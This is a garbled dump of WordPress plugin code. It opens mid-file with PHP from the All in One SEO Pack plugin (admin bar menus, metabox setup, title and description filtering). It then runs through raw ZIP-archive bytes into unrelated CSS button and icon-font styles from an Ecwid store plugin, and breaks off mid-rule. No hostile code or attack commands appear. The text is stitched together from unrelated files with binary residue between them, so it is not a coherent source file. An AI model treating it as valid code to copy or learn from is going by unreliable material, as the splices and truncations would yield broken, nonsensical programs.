      '; return $header; } /** * Admin Bar Menu * * @since ? */ function admin_bar_menu() { if ( apply_filters( 'aioseo_show_in_admin_bar', true ) === false ) { // API filter hook to disable showing SEO in admin bar. return; } global $wp_admin_bar, $aioseop_admin_menu, $post, $aioseop_options; $toggle = ''; if ( isset( $_POST['aiosp_use_original_title'] ) && isset( $_POST['aiosp_admin_bar'] ) && AIOSEOPPRO ) { $toggle = 'on'; } if ( isset( $_POST['aiosp_use_original_title'] ) && ! isset( $_POST['aiosp_admin_bar'] ) && AIOSEOPPRO ) { $toggle = 'off'; } if ( ( ! isset( $aioseop_options['aiosp_admin_bar'] ) && 'off' !== $toggle ) || ( ! empty( $aioseop_options['aiosp_admin_bar'] ) && 'off' !== $toggle ) || isset( $_POST['aiosp_admin_bar'] ) || true == apply_filters( 'aioseo_show_in_admin_bar', false ) ) { if ( apply_filters( 'aioseo_show_in_admin_bar', true ) === false ) { // API filter hook to disable showing SEO in admin bar. return; } $menu_slug = plugin_basename( __FILE__ ); $url = ''; if ( function_exists( 'menu_page_url' ) ) { $url = menu_page_url( $menu_slug, 0 ); } if ( empty( $url ) ) { $url = esc_url( admin_url( 'admin.php?page=' . $menu_slug ) ); } $wp_admin_bar->add_menu( array( 'id' => AIOSEOP_PLUGIN_DIRNAME, 'title' => __( 'SEO', 'all-in-one-seo-pack' ), 'href' => $url, ) ); if ( current_user_can( 'update_plugins' ) && ! AIOSEOPPRO ) { $wp_admin_bar->add_menu( array( 'parent' => AIOSEOP_PLUGIN_DIRNAME, /* translators: This is a CTA action link to upgrade to the premium version of the plugin. */ 'title' => __( 'Upgrade To Pro', 'all-in-one-seo-pack' ), 'id' => 'aioseop-pro-upgrade', 'href' => 'https://semperplugins.com/plugins/all-in-one-seo-pack-pro-version/?loc=menu', 'meta' => array( 'target' => '_blank' ), ) ); // phpcs:ignore Squiz.Commenting.InlineComment.InvalidEndChar // add_action( 'admin_bar_menu', array( $this, 'admin_bar_upgrade_menu' ), 1101 ); } $aioseop_admin_menu = 1; if ( ! is_admin() && ! empty( $post ) ) { $blog_page = aiosp_common::get_blog_page( $post ); if ( ! empty( $blog_page ) ) { $post = $blog_page; } // Don't show if we're on the home page and the home page is the latest posts. if ( ! is_home() || ( ! is_front_page() && ! is_home() ) ) { global $wp_the_query; $current_object = $wp_the_query->get_queried_object(); if ( is_singular() ) { if ( ! empty( $current_object ) && ! empty( $current_object->post_type ) ) { // Try the main query. $edit_post_link = get_edit_post_link( $current_object->ID ); $wp_admin_bar->add_menu( array( 'id' => 'aiosp_edit_' . $current_object->ID, 'parent' => AIOSEOP_PLUGIN_DIRNAME, 'title' => 'Edit SEO', 'href' => $edit_post_link . '#aiosp', ) ); } else { // Try the post object. $wp_admin_bar->add_menu( array( 'id' => 'aiosp_edit_' . $post->ID, 'parent' => AIOSEOP_PLUGIN_DIRNAME, 'title' => __( 'Edit SEO', 'all-in-one-seo-pack' ), 'href' => get_edit_post_link( $post->ID ) . '#aiosp', ) ); } } if ( AIOSEOPPRO && ( is_category() || is_tax() || is_tag() ) ) { // SEO for taxonomies are only available in Pro version. $edit_term_link = get_edit_term_link( $current_object->term_id, $current_object->taxonomy ); $wp_admin_bar->add_menu( array( 'id' => 'aiosp_edit_' . $post->ID, 'parent' => AIOSEOP_PLUGIN_DIRNAME, 'title' => __( 'Edit SEO', 'all-in-one-seo-pack' ), 'href' => $edit_term_link . '#aiosp', ) ); } } } } } /** * Menu Order * * @since ? * * Order for adding the menus for the aioseop_modules_add_menus hook. */ function menu_order() { return 5; } /** * Display Category Metaboxes * * @since ? * * @param $tax */ function display_category_metaboxes( $tax ) { $screen = 'edit-' . $tax->taxonomy; ?>
      options['aiosp_can'] ) ) ) { unset( $optlist['custom_link'] ); } foreach ( $optlist as $f ) { delete_term_meta( $id, "_aioseop_{$f}" ); } if ( current_user_can( 'activate_plugins' ) ) { delete_term_meta( $id, '_aioseop_sitemap_exclude' ); delete_term_meta( $id, '_aioseop_disable' ); delete_term_meta( $id, '_aioseop_disable_analytics' ); } foreach ( $optlist as $f ) { $var = "aiosp_$f"; $field = "_aioseop_$f"; if ( isset( $$var ) && ! empty( $$var ) ) { add_term_meta( $id, $field, $$var ); } } if ( isset( $aiosp_sitemap_exclude ) && ! empty( $aiosp_sitemap_exclude ) && current_user_can( 'activate_plugins' ) ) { add_term_meta( $id, '_aioseop_sitemap_exclude', $aiosp_sitemap_exclude ); } if ( isset( $aiosp_disable ) && ! empty( $aiosp_disable ) && current_user_can( 'activate_plugins' ) ) { add_term_meta( $id, '_aioseop_disable', $aiosp_disable ); if ( isset( $aiosp_disable_analytics ) && ! empty( $aiosp_disable_analytics ) ) { add_term_meta( $id, '_aioseop_disable_analytics', $aiosp_disable_analytics ); } } } } /** * Admin Menu * * @since ? */ function admin_menu() { $file = plugin_basename( __FILE__ ); $menu_name = 'All in One SEO'; $this->locations['aiosp']['default_options']['nonce-aioseop-edit']['default'] = wp_create_nonce( 'edit-aioseop-nonce' ); $custom_menu_order = false; global $aioseop_options; if ( ! isset( $aioseop_options['custom_menu_order'] ) ) { $custom_menu_order = true; } $this->update_options(); /* For now we're removing admin pointers. $this->add_admin_pointers(); if ( ! empty( $this->pointers ) ) { foreach ( $this->pointers as $k => $p ) { if ( ! empty( $p['pointer_scope'] ) && ( $p['pointer_scope'] == 'global' ) ) { unset( $this->pointers[ $k ] ); } } } */ if ( isset( $_POST ) && isset( $_POST['module'] ) && isset( $_POST['nonce-aioseop'] ) && ( 'All_in_One_SEO_Pack' == $_POST['module'] ) && wp_verify_nonce( $_POST['nonce-aioseop'], 'aioseop-nonce' ) ) { if ( isset( $_POST['Submit'] ) && AIOSEOPPRO ) { if ( isset( $_POST['aiosp_custom_menu_order'] ) ) { $custom_menu_order = $_POST['aiosp_custom_menu_order']; } else { $custom_menu_order = false; } } elseif ( isset( $_POST['Submit_Default'] ) || isset( $_POST['Submit_All_Default'] ) ) { $custom_menu_order = true; } } else { if ( isset( $this->options['aiosp_custom_menu_order'] ) ) { $custom_menu_order = $this->options['aiosp_custom_menu_order']; } } if ( ( $custom_menu_order && false !== apply_filters( 'aioseo_custom_menu_order', $custom_menu_order ) ) || true === apply_filters( 'aioseo_custom_menu_order', $custom_menu_order ) ) { add_filter( 'custom_menu_order', '__return_true' ); add_filter( 'menu_order', array( $this, 'set_menu_order' ), 11 ); } if ( ! AIOSEOPPRO ) { if ( ! empty( $this->pointers ) ) { foreach ( $this->pointers as $k => $p ) { if ( ! empty( $p['pointer_scope'] ) && ( 'global' == $p['pointer_scope'] ) ) { unset( $this->pointers[ $k ] ); } } } $this->filter_pointers(); } if ( AIOSEOPPRO ) { if ( is_array( $this->options['aiosp_cpostactive'] ) ) { $this->locations['aiosp']['display'] = $this->options['aiosp_cpostactive']; } else { $this->locations['aiosp']['display'][] = $this->options['aiosp_cpostactive']; // Store as an array in case there are taxonomies to add also. } if ( ! empty( $this->options['aiosp_taxactive'] ) ) { foreach ( $this->options['aiosp_taxactive'] as $tax ) { $this->locations['aiosp']['display'][] = 'edit-' . $tax; add_action( "{$tax}_edit_form", array( $this, 'display_category_metaboxes' ) ); add_action( "edited_{$tax}", array( $this, 'save_category_metaboxes' ) ); } } } else { if ( ! empty( $this->options['aiosp_cpostactive'] ) ) { $this->locations['aiosp']['display'] = $this->options['aiosp_cpostactive']; } else { $this->locations['aiosp']['display'] = array(); } } add_menu_page( $menu_name, $menu_name, apply_filters( 'manage_aiosp', 'aiosp_manage_seo' ), $file, array( $this, 'display_settings_page' ), aioseop_get_menu_icon() ); add_meta_box( 'aioseop-list', __( 'Join Our Mailing List', 'all-in-one-seo-pack' ), array( 'aiosp_metaboxes', 'display_extra_metaboxes' ), 'aioseop_metaboxes', 'normal', 'core' ); if ( AIOSEOPPRO ) { add_meta_box( 'aioseop-about', __( 'About', 'all-in-one-seo-pack' ), array( 'aiosp_metaboxes', 'display_extra_metaboxes' ), 'aioseop_metaboxes', 'side', 'core' ); } else { add_meta_box( 'aioseop-about', __( 'About', 'all-in-one-seo-pack' ) . "" . __( 'Version', 'all-in-one-seo-pack' ) . ' ' . AIOSEOP_VERSION . '', array( 'aiosp_metaboxes', 'display_extra_metaboxes' ), 'aioseop_metaboxes', 'side', 'core' ); } add_meta_box( 'aioseop-support', __( 'Support', 'all-in-one-seo-pack' ) . " " . __( 'Version', 'all-in-one-seo-pack' ) . ' ' . AIOSEOP_VERSION . '', array( 'aiosp_metaboxes', 'display_extra_metaboxes' ), 'aioseop_metaboxes', 'side', 'core' ); add_action( 'aioseop_modules_add_menus', array( $this, 'add_menu' ), 5 ); do_action( 'aioseop_modules_add_menus', $file ); $metaboxes = apply_filters( 'aioseop_add_post_metabox', array() ); if ( ! empty( $metaboxes ) ) { if ( $this->tabbed_metaboxes ) { $tabs = array(); $tab_num = 0; foreach ( $metaboxes as $m ) { if ( ! isset( $tabs[ $m['post_type'] ] ) ) { $tabs[ $m['post_type'] ] = array(); } $tabs[ $m['post_type'] ][] = $m; } if ( ! empty( $tabs ) ) { foreach ( $tabs as $p => $m ) { $tab_num = count( $m ); $title = $m[0]['title']; if ( $title != $this->plugin_name ) { $title = $this->plugin_name . ' - ' . $title; } if ( $tab_num <= 1 ) { if ( ! empty( $m[0]['callback_args']['help_link'] ) ) { $title .= "" . __( 'Help', 'all-in-one-seo-pack' ) . ''; } add_meta_box( $m[0]['id'], $title, $m[0]['callback'], $m[0]['post_type'], $m[0]['context'], $m[0]['priority'], $m[0]['callback_args'] ); } elseif ( $tab_num > 1 ) { add_meta_box( $m[0]['id'] . '_tabbed', $title, array( $this, 'display_tabbed_metabox' ), $m[0]['post_type'], $m[0]['context'], $m[0]['priority'], $m ); } } } } else { foreach ( $metaboxes as $m ) { $title = $m['title']; if ( $title != $this->plugin_name ) { $title = $this->plugin_name . ' - ' . $title; } if ( ! empty( $m['help_link'] ) ) { $title .= "" . __( 'Help', 'all-in-one-seo-pack' ) . ''; } add_meta_box( $m['id'], $title, $m['callback'], $m['post_type'], $m['context'], $m['priority'], $m['callback_args'] ); } } } } /** * Set Menu Order * * @since ? * * @param $menu_order * @return array */ function set_menu_order( $menu_order ) { $order = array(); $file = plugin_basename( __FILE__ ); foreach ( $menu_order as $index => $item ) { if ( $item != $file ) { $order[] = $item; } if ( 0 == $index ) { $order[] = $file; } } return $order; } function display_settings_header() { } function display_settings_footer() { } /** * Filters title and meta titles and applies cleanup. * - Decode HTML entities. * - Encodes to SEO ready HTML entities. * Returns cleaned value. * * @since 2.3.14 * * @param string $value Value to filter. * * @return string */ public function filter_title( $value ) { // Decode entities. $value = $this->html_entity_decode( $value ); // Encode to valid SEO html entities. return $this->seo_entity_encode( $value ); } /** * Filters meta value and applies generic cleanup. * - Decode HTML entities. * - Removal of urls. * - Internal trim. * - External trim. * - Strips HTML except anchor texts. * - Returns cleaned value. * * @since 2.3.13 * @since 2.3.14 Strips excerpt anchor texts. * @since 2.3.14 Encodes to SEO ready HTML entities. * @since 2.3.14 #593 encode/decode refactored. * @since 2.4 #951 Reorders filters/encodings/decondings applied and adds additional param. * * @param string $value Value to filter. * @param bool $truncate Flag that indicates if value should be truncated/cropped. * @param bool $ignore_php_version Flag that indicates if the php version check should be ignored. * * @return string */ public function filter_description( $value, $truncate = false, $ignore_php_version = false ) { // TODO: change preg_match to version_compare someday when the reason for this condition is understood better. if ( $ignore_php_version || preg_match( '/5.2[\s\S]+/', PHP_VERSION ) ) { $value = htmlspecialchars( wp_strip_all_tags( htmlspecialchars_decode( $value ) ) ); } // Decode entities. $value = $this->html_entity_decode( $value ); $value = preg_replace( array( '#([^>]*)#i', // Remove link but keep anchor text. '@(https?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@', // Remove URLs. ), array( '$1', // Replacement link's anchor text. '', // Replacement URLs. ), $value ); // Strip html. $value = wp_strip_all_tags( $value ); // External trim. $value = trim( $value ); // Internal whitespace trim. $value = preg_replace( '/\s\s+/u', ' ', $value ); // Truncate / crop. if ( ! empty( $truncate ) && $truncate ) { $value = $this->trim_excerpt_without_filters( $value ); } // Encode to valid SEO html entities. return $this->seo_entity_encode( $value ); } /** * Returns string with decoded html entities. * - Custom html_entity_decode supported on PHP 5.2 * * @since 2.3.14 * @since 2.3.14.2 Hot fix on apostrophes. * @since 2.3.16 ' Added to the list of apostrophes. * * @param string $value Value to decode. * * @return string */ private function html_entity_decode( $value ) { // Special conversions. $value = preg_replace( array( // Double quotes. '/\“|\â€|&#[xX]00022;|"|&[lLrRbB](dquo|DQUO)(?:[rR])?;|&#[xX]0201[dDeE];' . '|&[OoCc](pen|lose)[Cc]urly[Dd]ouble[Qq]uote;|̶[012];|&#[xX]27;/', // Apostrophes. '/'|’|'/', ), array( // Double quotes. '"', // Apostrophes. '\'', ), $value ); return html_entity_decode( $value ); } /** * Returns SEO ready string with encoded HTML entitites. * * @since 2.3.14 * @since 2.3.14.1 Hot fix on apostrophes. * * @param string $value Value to encode. * * @return string */ private function seo_entity_encode( $value ) { return preg_replace( array( '/\"|\“|\â€|\„/', // Double quotes. '/\'|\’|\‘/', // Apostrophes. ), array( '"', // Double quotes. ''', // Apostrophes. ), esc_html( $value ) ); } function display_right_sidebar() { global $wpdb; if ( ! get_option( 'aioseop_options' ) ) { $msg = "

      Your database options need to be updated.(Back up your database before updating.)

      "; aioseop_output_dismissable_notice( $msg, '', 'error' ); } ?>
      $state ) { if ( ! empty( $state ) ) { $modules_before[] = $module; } } } if ( array_key_exists( 'modules', $options ) && array_key_exists( 'aiosp_feature_manager_options', $options['modules'] ) ) { foreach ( $options['modules']['aiosp_feature_manager_options'] as $module => $state ) { if ( ! empty( $state ) ) { $modules_now[] = $module; } } } $action = 'deactivate'; $diff = array_diff( $modules_before, $modules_now ); if ( count( $modules_now ) > count( $modules_before ) ) { $action = 'activate'; $diff = array_diff( $modules_now, $modules_before ); } if ( $diff ) { foreach ( $diff as $module ) { $name = str_replace( 'aiosp_feature_manager_enable_', '', $module ); do_action( $this->prefix . $action . '_' . $name ); } } } } PK,—[h‹Ð ÇÇ$all-in-one-seo-pack/aioseop-init.phpnu„[µü¤li.current>a.current:after { border-right-color:white; } .ecwid-landing .on-error { display: none; } .ecwid-landing.conn-error .on-error { display: inherit; } .ecwid-landing.conn-error .on-no-error { display: none; } .ecwid-button .ecwid-connection-error { color: red; } @media (min-width: 768px) { .ecwid-button .ecwid-connection-error { position: relative; margin-bottom: 8px; } } .ecwid-landing a:focus { outline: 0px none; box-shadow: none; } .ecwid-landing .button:hover { color: white; } .ecwid-landing .ecwid-button .btn { width: 300px; margin-bottom: 40px; height: 59px; font-size: 20px; } .ecwid-button .create-store-loading, .ecwid-button .create-store-loading-note, .ecwid-button .create-store-success-note, .ecwid-button .create-store-success { display: none; } .ecwid-button .create-store-loading-note, .ecwid-button .create-store-success-note { margin-top: -20px; margin-bottom: 32px; } /* loose copy of ecwid css framework */ @import url('//fonts.googleapis.com/css?family=Open+Sans:400,600,700,300&subset=latin,latin-ext,cyrillic'); .btn { font-family: 'Open Sans'; } @keyframes spinleft { 0% { transform: rotate(360deg); } 100% { transform: rotate(0deg); } } @-webkit-keyframes spinleft { 0% { -webkit-transform: rotate(360deg); } 100% { -webkit-transform: rotate(0deg); } } @keyframes spinright { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } @-webkit-keyframes spinright { 0% { -webkit-transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); } } /* Iconic font */ @font-face { font-family: 'font_icons'; src: url('//s3.amazonaws.com/myecwidcom-static/static/fonts/icons/v13/fontIcons.eot'); src: url('//s3.amazonaws.com/myecwidcom-static/static/fonts/icons/v13/fontIcons.eot?#iefix') format('embedded-opentype'), url('//s3.amazonaws.com/myecwidcom-static/static/fonts/icons/v13/fontIcons.ttf') format('truetype'), url('//s3.amazonaws.com/myecwidcom-static/static/fonts/icons/v13/fontIcons.woff') format('woff'), url('//s3.amazonaws.com/myecwidcom-static/static/fonts/icons/v13/fontIcons.svg#icomoon') format('svg'); font-weight: normal; font-style: normal; } .ecwid-button [class*="icon-"] { display: inline-block; text-transform: none; font-weight: normal; font-style: normal; font-variant: normal; font-family: 'font_icons'; line-height: 1; speak: none; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; -webkit-transition: color .1s linear; transition: color .1s linear; } .icon-odn:before { content: "\e639"; } .icon-vk:before { content: "\e63a"; } .icon-customer_groups:before { content: "\e62e"; } .icon-unfinished:before { content: "\e62d"; } .icon-table_cake:before { content: "\e62c"; } .icon-coupons:before { content: "\e63b"; } .icon-discounts:before { content: "\e63c"; } .icon-marketplaces:before { content: "\e63d"; } .icon-odn:before { content: "\e639"; } .icon-vk:before { content: "\e63a"; } .icon-appointment:before { content: "\e62b"; } .icon-trash:before { content: "\e62a"; } .icon-lock:before { content: "\e621"; } .icon-letter:before { content: "\e629"; } .icon-vend:before { content: "\e628"; } .icon-apple:before { content: "\e624"; } .icon-discount:before { content: "\e625"; } .icon-bag:before { content: "\e626"; } .icon-phone:before { content: "\e627"; } .icon-speaker:before { content: "\e622"; } .icon-warning:before { content: "\e623"; } .icon-lock:before { content: "\e621"; } .icon-radiobutton-checked:before { content: "\e61e"; } .icon-radiobutton-unchecked:before { content: "\e61f"; } .icon-update:before { content: "\e620"; } .icon-settings:before { content: "\e619"; } .icon-main-menu:before { content: "\e61a"; } .icon-sales:before { content: "\e61b"; } .icon-chart:before { content: "\e61c"; } .icon-home:before { content: "\e61d"; } .icon-print:before { content: "\e618"; } .icon-search:before { content: "\e617"; } .icon-calendar:before { content: "\e616"; } .icon-show:before { content: "\e010"; } .icon-hide:before { content: "\e011"; } .icon-star:before { content: "\e615"; } .icon-edit:before { content: "\e614"; } .icon-categories:before { content: "\e613"; } .icon-arrange:before { content: "\e612"; } .icon-menu:before { content: "\e611"; } .icon-import:before { content: "\e610"; } .icon-gallery:before { content: "\e60f"; } .icon-enable-all:before { content: "\e60e"; } .icon-disable-all:before { content: "\e60d"; } .icon-next:before { content: "\e000"; } .icon-previous:before { content: "\e00a"; } .icon-store:before { content: "\e001"; } .icon-megaphone:before { content: "\e002"; } .icon-product:before { content: "\e003"; } .icon-geo:before { content: "\e004"; } .icon-shipping:before { content: "\e005"; } .icon-payments:before { content: "\e006"; } .icon-launch:before { content: "\e007"; } .icon-share:before { content: "\e008"; } .icon-facebook:before { content: "\e009"; } .icon-fb:before { content: "\e00b"; } .icon-twitter:before { content: "\e00c"; } .icon-chain:before { content: "\e00d"; } .icon-checkmark:before { content: "\e00f"; } .icon-close:before { content: "\e014"; } .icon-sort:before { content: "\f0dc"; } .icon-box:before { content: "\e00e"; } .icon-cloud:before { content: "\e012"; } .icon-rates:before { content: "\e015"; } .icon-upload:before { content: "\e013"; } .icon-arr-down:before { content: "\e018"; } .icon-dropdown:before { content: "\e016"; } .icon-cash:before { content: "\e019"; } .icon-check:before { content: "\e01a"; } .icon-google:before { content: "\e600"; } .icon-paypal:before { content: "\e601"; } .icon-envelope:before { content: "\e603"; } .icon-help:before { content: "\e602"; } .icon-chat:before { content: "\e604"; } .icon-arr-left:before { content: "\e605"; } .icon-arr-right:before { content: "\e606"; } .icon-arr-up:before { content: "\e609"; } .icon-open:before { content: "\e608"; } .icon-user:before { content: "\e607"; } .icon-tumbler:before { content: "\e60a"; } .icon-taxes:before { content: "\e60b"; } .icon-ecwid:before { content: "\e60c"; } .btn { display: inline-block; margin: 0; border: 1px solid transparent; vertical-align: middle; text-align: center; cursor: pointer; outline: 0; text-decoration: none; white-space: nowrap; *display: inline; *margin-left: .3em; *zoom: 1; -moz-box-sizing: border-box; box-sizing: border-box; font-size: 0.813em; padding: 4px 10px; border-radius: 3px; line-height: 1.7em; height: 2.462em; min-width: 7.385em; color: #333; background-color: #f6f6f6; border-color: transparent; -webkit-transition: color 0.1s linear, background-color 0.1s linear, border-color 0.1s linear; transition: color 0.1s linear, background-color 0.1s linear, border-color 0.1s linear; } .btn:focus, .btn.focus, .btn.btn-loading, .btn.btn-loading:hover, .btn.btn-loading:focus, .btn.btn-loading:focus:hover, .btn.btn-loading:active, .btn.btn-loading:focus:active, .btn-group.opened .btn.btn-dropdown { border-width: 2px; padding: 3px 9px; } .btn:hover { background-color: #c4c4c4; } .btn:focus { border-color: #acacac; } .btn:focus:hover { background-color: #c4c4c4; } .btn:active { background-color: #f7f7f7; } .btn:focus:active { background-color: #f7f7f7; } .btn.btn-loading, .btn.btn-loading:hover, .btn.btn-loading:focus, .btn.btn-loading:focus:hover, .btn.btn-loading:active, .btn.btn-loading:focus:active { position: relative; background-color: #f7f7f7; border-color: transparent; overflow: visible; } .btn-group.opened .btn.btn-dropdown { border-color: #acacac; } .btn.btn-loading .loader-inner, .btn.btn-loading .loader-outer, .btn.btn-loading:hover .loader-inner, .btn.btn-loading:hover .loader-outer, .btn.btn-loading:focus .loader-inner, .btn.btn-loading:focus .loader-outer, .btn.btn-loading:focus:hover .loader-inner, .btn.btn-loading:focus:hover .loader-outer, .btn.btn-loading:active .loader-inner, .btn.btn-loading:active .loader-outer, .btn.btn-loading:focus:active .loader-inner, .btn.btn-loading:focus:active .loader-outer { fill: #f7f7f7; } .btn:first-child { *margin-left: 0; } .btn[disabled], .btn[disabled]:hover, .btn[disabled]:focus, .btn[disabled]:focus:hover, .btn[disabled]:active, .btn[disabled]:focus:active { cursor: default; opacity: .3; filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=30); -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=30)"; } .btn.btn-loading:before, .btn.btn-loading:hover:before, .btn.btn-loading:focus:before, .btn.btn-loading:focus:hover:before, .btn.btn-loading:active:before, .btn.btn-loading:focus:active:before { position: absolute; content: ""; top: 0; left: 0; width: 100%; height: 100%; border-radius: inherit; background-color: inherit; opacity: 1; -webkit-transition: opacity .3s ease-out; transition: opacity .3s ease-out; } /* buttons' sizes */ .btn-large { font-size: 1.063em; padding: 4px 16px; border-radius: 5px; line-height: 2.118em; height: 2.824em; min-width: 8.471em; } .btn-large:focus, .btn-large.focus, .btn-large.btn.btn-loading, .btn-large.btn.btn-loading:focus:hover, .btn-large.btn.btn-loading:focus:active, .btn-large.btn-default.btn-loading, .btn-large.btn-loading.btn-icon, .btn-large.btn-default.btn-loading:focus:hover, .btn-large.btn-loading.btn-icon:focus:hover, .btn-large.btn-default.btn-loading:focus:active, .btn-large.btn-loading.btn-icon:focus:active, .btn-group.opened .btn-large.btn-dropdown { border-width: 2px; padding: 3px 15px; } .btn-medium { font-size: 0.875em; padding: 4px 12px; border-radius: 3px; line-height: 1.7em; height: 2.857em; min-width: 8.571em; } .btn-medium:focus, .btn-medium.focus, .btn-medium.btn.btn-loading, .btn-medium.btn.btn-loading:focus:hover, .btn-medium.btn.btn-loading:focus:active, .btn-medium.btn-default.btn-loading, .btn-medium.btn-loading.btn-icon, .btn-medium.btn-default.btn-loading:focus:hover, .btn-medium.btn-loading.btn-icon:focus:hover, .btn-medium.btn-default.btn-loading:focus:active, .btn-medium.btn-loading.btn-icon:focus:active, .btn-group.opened .btn-medium.btn-dropdown { border-width: 2px; padding: 3px 11px; } .btn-small { font-size: 0.755em; padding: 3px 8px; border-radius: 3px; line-height: 1.4em; height: 2.333em; min-width: 7em; } .btn-small:focus, .btn-small.focus, .btn-small.btn.btn-loading, .btn-small.btn.btn-loading:focus:hover, .btn-small.btn.btn-loading:focus:active, .btn-small.btn-default.btn-loading, .btn-small.btn-loading.btn-icon, .btn-small.btn-default.btn-loading:focus:hover, .btn-small.btn-loading.btn-icon:focus:hover, .btn-small.btn-default.btn-loading:focus:active, .btn-small.btn-loading.btn-icon:focus:active, .btn-group.opened .btn-small.btn-dropdown { border-width: 2px; padding: 2px 7px; } /* buttons' types */ .btn-default, .btn-icon { background-color: #f6f6f6; color: #333; border-color: #cccccc; } .btn-default:hover, .btn-icon:hover { background-color: #fff; color: #137ebe; border-color: #89bede; } .btn-default:focus, .btn-icon:focus, .btn-default.focus, .focus.btn-icon, .btn-group.opened .btn-icon.btn-dropdown, .btn-group.opened .btn-default.btn-dropdown { background-color: #eaf2f7; border-color: #b3cad5; } .btn-default:focus:hover, .btn-icon:focus:hover { background-color: #fff; border-color: #137ebe; } .btn-default:active, .btn-icon:active { background-color: #fff; color: #5ebbf3; border-color: #aeddf9; } .btn-default:focus:active, .btn-icon:focus:active { background-color: #fff; border-color: #5ebbf3; } .btn-default.btn-loading, .btn-loading.btn-icon, .btn-default.btn-loading:hover, .btn-loading.btn-icon:hover, .btn-default.btn-loading:focus, .btn-loading.btn-icon:focus, .btn-default.btn-loading:focus:hover, .btn-loading.btn-icon:focus:hover, .btn-default.btn-loading:active, .btn-loading.btn-icon:active, .btn-default.btn-loading:focus:active, .btn-loading.btn-icon:focus:active { position: relative; background-color: #aeddf9; border-color: #aeddf9; overflow: visible; } .btn-default.btn-loading .loader-inner, .btn-loading.btn-icon .loader-inner, .btn-default.btn-loading .loader-outer, .btn-loading.btn-icon .loader-outer, .btn-default.btn-loading:hover .loader-inner, .btn-loading.btn-icon:hover .loader-inner, .btn-default.btn-loading:hover .loader-outer, .btn-loading.btn-icon:hover .loader-outer, .btn-default.btn-loading:focus .loader-inner, .btn-loading.btn-icon:focus .loader-inner, .btn-default.btn-loading:focus .loader-outer, .btn-loading.btn-icon:focus .loader-outer, .btn-default.btn-loading:focus:hover .loader-inner, .btn-loading.btn-icon:focus:hover .loader-inner, .btn-default.btn-loading:focus:hover .loader-outer, .btn-loading.btn-icon:focus:hover .loader-outer, .btn-default.btn-loading:active .loader-inner, .btn-loading.btn-icon:active .loader-inner, .btn-default.btn-loading:active .loader-outer, .btn-loading.btn-icon:active .loader-outer, .btn-default.btn-loading:focus:active .loader-inner, .btn-loading.btn-icon:focus:active .loader-inner, .btn-default.btn-loading:focus:active .loader-outer, .btn-loading.btn-icon:focus:active .loader-outer { fill: #aeddf9; } .btn-default[disabled], [disabled].btn-icon, .btn-default[disabled]:hover, [disabled].btn-icon:hover, .btn-default[disabled]:focus, [disabled].btn-icon:focus, .btn-default[disabled]:focus:hover, [disabled].btn-icon:focus:hover, .btn-default[disabled]:active, [disabled].btn-icon:active, .btn-default[disabled]:focus:active, [disabled].btn-icon:focus:active { background-color: #f6f6f6; color: #333; border-color: transparent; border-color: #cccccc; } .btn-alt { background-color: #fff; color: #333; } .btn-alt:hover { background-color: #edf8ff; color: #137ebe; } .btn-alt:active { background-color: #fff; color: #54bfd6; } .btn-alt:focus { border-color: #fff; background-color: #d3e6f1; } .btn-alt:focus:hover { background-color: #dce6ed; } .btn-alt:focus:active { background-color: #fff; } .btn-alt[disabled], .btn-alt[disabled]:hover, .btn-alt[disabled]:focus, .btn-alt[disabled]:focus:hover, .btn-alt[disabled]:active, .btn-alt[disabled]:focus:active { background-color: #fff; color: #333; border-color: transparent; } /* btn-primary */ .btn-primary, .ecwid-button .btn-primary { color: #fff; background-color: #189dee; border-color: transparent; } .btn-primary:hover { background-color: #137dbe; } .btn-primary:focus { border-color: #106da6; } .btn-primary:focus:hover { background-color: #137dbe; } .btn-primary:active { background-color: #46b0f1; } .btn-primary:focus:active { background-color: #46b0f1; } .btn-primary.btn.btn-loading, .btn-primary.btn.btn-loading:focus:hover, .btn-primary.btn.btn-loading:focus:active, .btn-primary.btn-default.btn-loading, .btn-primary.btn-loading.btn-icon, .btn-primary.btn-default.btn-loading:focus:hover, .btn-primary.btn-loading.btn-icon:focus:hover, .btn-primary.btn-default.btn-loading:focus:active, .btn-primary.btn-loading.btn-icon:focus:active { position: relative; background-color: #46b0f1; border-color: transparent; overflow: visible; } .btn-group.opened .btn-primary.btn-dropdown { border-color: #106da6; } .btn-primary.btn-loading .loader-inner, .btn-primary.btn-loading .loader-outer, .btn-primary.btn-loading:hover .loader-inner, .btn-primary.btn-loading:hover .loader-outer, .btn-primary.btn-loading:focus .loader-inner, .btn-primary.btn-loading:focus .loader-outer, .btn-primary.btn-loading:focus:hover .loader-inner, .btn-primary.btn-loading:focus:hover .loader-outer, .btn-primary.btn-loading:active .loader-inner, .btn-primary.btn-loading:active .loader-outer, .btn-primary.btn-loading:focus:active .loader-inner, .btn-primary.btn-loading:focus:active .loader-outer { fill: #46b0f1; } .btn-primary[disabled], .btn-primary[disabled]:hover, .btn-primary[disabled]:focus, .btn-primary[disabled]:focus:hover, .btn-primary[disabled]:active, .btn-primary[disabled]:focus:active { background-color: #189dee; color: #fff; border-color: transparent; } /* btn-success */ .btn-success, .ecwid-button .btn-success { color: #fff; background-color: #64a52f; border-color: transparent; } .btn-success:hover { background-color: #508425; } .btn-success:focus { border-color: #467320; } .btn-success:focus:hover { background-color: #508425; } .btn-success:active { background-color: #83b758; } .btn-success:focus:active { background-color: #83b758; } .btn-success.btn.btn-loading, .btn-success.btn.btn-loading:focus:hover, .btn-success.btn.btn-loading:focus:active, .btn-success.btn-default.btn-loading, .btn-success.btn-loading.btn-icon, .btn-success.btn-default.btn-loading:focus:hover, .btn-success.btn-loading.btn-icon:focus:hover, .btn-success.btn-default.btn-loading:focus:active, .btn-success.btn-loading.btn-icon:focus:active { position: relative; background-color: #83b758; border-color: transparent; overflow: visible; } .btn-group.opened .btn-success.btn-dropdown { border-color: #467320; } .btn-success.btn-loading .loader-inner, .btn-success.btn-loading .loader-outer, .btn-success.btn-loading:hover .loader-inner, .btn-success.btn-loading:hover .loader-outer, .btn-success.btn-loading:focus .loader-inner, .btn-success.btn-loading:focus .loader-outer, .btn-success.btn-loading:focus:hover .loader-inner, .btn-success.btn-loading:focus:hover .loader-outer, .btn-success.btn-loading:active .loader-inner, .btn-success.btn-loading:active .loader-outer, .btn-success.btn-loading:focus:active 